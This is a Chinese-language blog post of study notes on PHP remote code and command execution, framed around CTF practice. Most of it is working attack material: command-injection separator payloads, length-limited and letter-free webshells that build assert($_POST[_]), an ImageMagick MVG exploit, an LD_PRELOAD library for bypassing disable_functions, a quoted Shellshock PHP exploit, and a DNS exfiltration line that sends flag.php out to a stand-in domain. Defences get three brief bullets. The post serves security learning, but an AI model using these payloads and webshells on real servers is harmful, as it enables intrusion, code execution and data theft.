一篇文章深入学习RCE漏洞

0x00 前言背景

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上 ,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。

远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

远程命令/代码执行漏洞(Remote Code/Command Execution Vulnerability),用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

能造成这个漏洞的条件同样也是

  • 用户能够控制函数的输入
  • 存在可以执行代码的危险函数

远程代码执行只是执行PHP代码(只是针对PHP后端语言来说的话),而远程命令执行是执行cmd或者终端命令,是系统命令

本学习笔记,大量参考自网络上各位大佬总结好的,再加上自己的心得总结而成,用途仅用于安全技术学习.文末注明参考资料,侵删.

下面来看看最简单的代码示例:

代码执行

1
2
3
4
5
<?php
$a = $_GET['what'];
$b = @eval($a);
// echo $b;
?>

eval()函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

我们提交url?what=phpinfo(); 就可以执行得到phpinfo界面,当然和eval函数类似的还有很多

命令执行

1
2
3
4
5
6
7
<?php

$a = @shell_exec($_GET['what']);

echo $a;

?>

可以看到,这里执行了系统cmd命令

0x01 基础知识

关于RCE的基础知识,估计也就是PHP相关函数(也就是危险函数)的基础知识,Linux Windows常见的(在安全中)系统命令

PHP相关函数

PHP允许动态函数执行,这是很多高级RCE场景中常常利用的点

eval()函数

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

assert()函数

preg_replace()+/e

php版本<5.5.0

如果preg_replace()的第一个参数中存在/e模式修饰符,则允许代码执行

现在已经被弃用,使用了preg_replace_callback()替代可能在CTF中会遇到

system(), exec(), shell_exec, passthru, pcntl_exec, popen, proc_popen等

这些函数是用于执行command命令的

还有 ``` `运算符可以执行其中的命令 反引号是PHP中最简单的执行shell的方法

相关系统命令知识基础

Windows系统管道符

;分号的作用是用来连续执行系统命令

Linux系统管道符

ls命令,ls是list的缩写,可跟路径或者参数,表示列出路径或目录下所有文件信息 ls -I 显示当前路径下的所有文件及文件夹的详细信息

cat命令,cat是concatenate的缩写,表示读取文件内容及拼接文件

rm命令, re是remove的缩写,用于删除文件或者文件夹,-r删除目录 -f强制删除

mkdir命令, 是make directory的缩写,用于创建文件夹.

find命令

find path -option [ -print ] [ -exec -ok command ] {} ;

CTF常用 : find / -name flag

grep命令

grep命令用于查找文件里符合条件的字符串。

Linux下glob通配符

*可以代替0个及以上任意字符

?可以代表1个任意字符

Linux shell

shell可以利用.来执行任意脚本

Linux文件名支持用glob通配符代替

.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

glob支持用[^x]的方法来构造“这个位置不是字符x”。

ascii码表中 大写字母位于@[之间,使用glob通配符[@-[]就可以用来表示大写字母

0x02 漏洞原理

由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是该漏洞攻击成功的最主要原因。

RCE分类的话分为有回显无回显两种情况

有回显的话也就不用过多结束了,就是payload打过去有结果输出,没输出就检查思路

无回显的情况

1)判断

利用延时

ls;sleep 3

http/dns请求

2)利用

写shell(直接带入/外部下载)

echo >

wget 下载

http/dns等方式带出数据,需要去掉空格,使用sed命令

1
echo `cat flag.php|sed s/[[:space;]]//`.php.xxxx.eee.xyz                  

0x03 漏洞利用

利用RCE,简单的就是读写文件,高级点的就是getshell

读写文件主要就是利用上面写到的一些命令或者代码,当然还有非常多其他的.需要在实践中继续发现利用总结.

如何getshell?

挖掘漏洞的过程, 通常需要先找到危险函数, 然后回溯函数的调用过程, 最终看在整个调用的过程中是否有可能控制输入

0x04 bypass

1)命令执行的分隔符

例子:system("echo ".$_GET[1]);

功能 符号 payload
换行符 %0a ?1=123%0apwd
回车符 %0d 同上
连续指令 ; ?1=123;pwd
后台进程 & ?1=123&pwd
管道符 |(显示后面语句的结果) ?1=123|pwd
逻辑运算 ||或&& ?1=123||pwd

2)空格代替

  • <
  • $IFS
  • ${IFS}
  • $IFS$9
  • %09(URL中)

3)绕过过滤

可以采用组合([拼接)的形式

如: a=l;b=s;$a$b => ls

编码绕过

1
`echo d2hvYW1p|base64 -D`  => `echo whoami`

反斜杠绕过

ca\t /fl\ag => cat /flag

4)绕过长度限制

1、15个字符

1
2
3
4
5
6
echo  \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1
mv 1 1.php

2、7个字符

思路:
1、命令+>文件名可以生产文件(命令可以为空)
2、ls -t可以将文件按时间顺序排列
3、sh命令可以执行sh脚本
4、base64命令可以避免特殊字符
5、\可以分行输入命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
w>hp
w>1.p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>7\|\\
w>XSk\\
w>Fsx\\
w>dFV\\
w>kX0\\
w>bCg\\
w>XZh\\
w>AgZ\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\
ls -t|\
sh

5)无字母数字webshell

PHP5不能利用($a)();执行函数,PHP7可以

主要思路: 利用位运算,自增运算符

对变量进行取反,异或,最后动态执行函数

在PHP中,两个字符串执行异或操作异或以后,得到的还是一个字符串

1
$_='<>]=@^<'^'[[){,?[';//$_='getFlag'\n $_();//getFlag()

比如绕过

1
preg_match('/[a-z0-0]/is',$_GET['shell'])

异或

就需要找到两个非字母,数字的字符,使他们异或的结果是这个字母即可

PHP5中的一些现成payload(参考P神的文章)

1
2
3
4
5
6
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

取反

利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);
?>

不得不佩服为什么P神这么牛了

这个方法同时利用了PHP弱类型,因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2

利用自增运算符

先学习一下下面这个知识点

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串

PHP函数是大小写不敏感的

也就是说,'a'++ => 'b''b'++ => 'c'… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$_=[];
[email protected]"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
?>

6)绕过字符限制getshell

知识点

  • ip进制转换后是等价
1
2
3
4
5
6
7
8
9
10
ip = '127.0.0.1'
# 十六进制
print '0x' + ''.join([str(hex(int(i))[2:].zfill(2))
for i in ip.split('.')])
# 长整数
print int(''.join([str(hex(int(i))[2:].zfill(2))
for i in ip.split('.')]), 16)
# 八进制
print '0' + oct(int(''.join([str(hex(int(i))[2:].zfill(2))
for i in ip.split('.')]), 16))
  • 利用续行符拆分命令成多行

dir命令和ls命令差不多.但是dir在alphabetical序中靠前,二是按列输出不换行

rev命令的作用是反转文件每一行的内容

7)绕过disable_function

一般来说,最简单的绕过disable_function的办法,dl函数,proc_open函数,漏洞版本的imagemagic等

但是绕过这个点的话,一直以来都是许多安全研究员的主要方向,可以说是姿势很多.

利用系统组件绕过,这里就直接搬别人的笔记过来

1)利用window com组件

php 5.4版本. 大于这个版本的需要自己添加扩展

解决办法 删除System32目录下的wshom.ocx文件

2)利用ImageMagick漏洞

如果给了PHPINFO信息,如果存在以上内容,就可以尝试利用这个点来绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

3)利用环境变量LD_PRELOAD

php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的

LD_PRELOAD是Linux系统的下一个有趣的环境变量:“它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<stdlib.h>
#include <stdio.h>
#include<string.h>

void payload(){
FILE*fp = fopen("/tmp/2.txt","w");
fclose(fp);
system("mkdir /var/www/html/test");
}


int geteuid(){
FILE *fp1=fopen("/tmp/2.txt","r");
if(fp1!=NULL)
{
fclose(fp1);
return 552;
}else {
payload();
return 552;
}


}

执行命令编译为一个动态共享库

1
2
gcc -c -fPIC a.c -o a
gcc -shared a -o a.so

通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。在webshell上用mail函数发送一封邮件来触发。结果为

1
2
3
4
<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("[email protected]","","","","");
?>

所以要学好C语言,不然后面一些阶段,尤其是内网写shellcode的时候

所以我打算寒假学一下Windows核心编程

4)CVE-2014-6271

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("[email protected]","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

08)无参数命令执行

主要思路: 函数套用即a(b());这种形式,而在正则表达式中与之对应的就是\((?R)?\)

还是先来总结一下相关的函数把.读取目录用scandir()函数就行了,这个函数的返回值是以数组形式返回的,因此在读取相关的文件时候,可以使用数组指针的形式进行指向需要读取的文件

关于PHP数组

PHP 中的数组实际上是一个有序映射。映射是一种把 values 关联到 keys 的类型。此类型在很多方面做了优化,因此可以把它当成真正的数组,或列表(向量),散列表(是映射的一种实现),字典,集合,栈,队列以及更多可能性。由于数组元素的值也可以是另一个数组,树形结构和多维数组也是允许的。

php中数组指向函数

绕过. , .达到读取上层目录文件的目的

这里localeconv()返回的第一个元素正好就是.,因此可以构造读取当前文件夹后的最后一个文件

1
readfile(end(scandir(reset(localeconv()))));

其他方法

1
2
3
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))) #46
chr
chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))) #46

如果文件在上一个目录.使用chdir()函数,但是这个函数返回结果只有0和1,故需要构造判断语句

1
2
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));
# 使用chdir()函数,更改目录,返回1的同时,读取目录下的文件
1
2
3
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

# 通过chdir修改当前目录,通过localtime()等函数构造chr(46)即“.”达到读取上层目录文件的目的

例子1

字节CTF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
            $code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}

官方wp

1
2
3
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));

# 同样的原理,不过生成chr(46)的方式不同

2019上海市大学生网络安全大赛_decade

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
else {
echo "invalid";
}
}else {
echo "invalid";
}

?>

这里正则过滤了更多东西,过滤了local就不能使用上面的方法来构造.

1
readfile(end(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))));

因为sqrt 被过滤

1
(ord(hebrevc(crypt(phpversion()))));
1
readgzfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));

主要是对相关函数的功能要熟悉

0x05 漏洞防御

  • 升级插件,框架最新版本
  • 对用户的输入,尤其是一些变量存在的地方就行严格过滤或者禁用一些功能
  • 谨慎使用危险函数

0x06 总结

经常需要对payload中的不可见字符用url编码

这篇总结是对PHP 的RCE一次总结,然而不光PHP有RCE,还有很多语言也有RCE漏洞,比如JAVA S2 045 这个漏洞影响有多大不用说了吧

Struts2 历史RCE漏洞 EXP汇总 常用工具流量特征分析

从零开始学java web - struts2 RCE分析

主要是平时遇见的少,实操就少了.正在尝试给服务器提供一个RCE的环境

0x06 参考资料

有一说一,网上关于RCE的基础讲解是真的少?其实是RCE一般比较难挖掘,并且出现也是在多个漏洞一起利用下(可能是大佬觉得没啥讲的,虽然intitle: RCE漏洞有3k+结果…加油吧

持续总结更新,遇见了就拿过来!

RCE漏洞专栏-Freebuf

远程代码执行专栏-Freebuf

Web安全攻防:10—RCE(远程命令执行)漏洞介绍

https://www.cnblogs.com/20175211lyz/p/11396392.html

如何绕过四个字符限制getshell

https://www.freebuf.com/articles/web/192052.html

https://www.anquanke.com/post/id/175403

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

无字母数字webshell之提高篇

一些不包含数字和字母的webshell

https://blog.csdn.net/whatday/article/details/100191703

http://drops.xmd5.com/static/drops/tools-3786.html

极客大挑战 RCE ME

绕过disable_function(目前对我来说有点难理解)

无参数命令执行

http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/php_shell_no_code/#comment-15

https://www.php.net/manual/zh/ref.array.php

“If you can dream it, you can do it.”

Author: m0nk3y
Link: https://hack-for.fun/6910.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.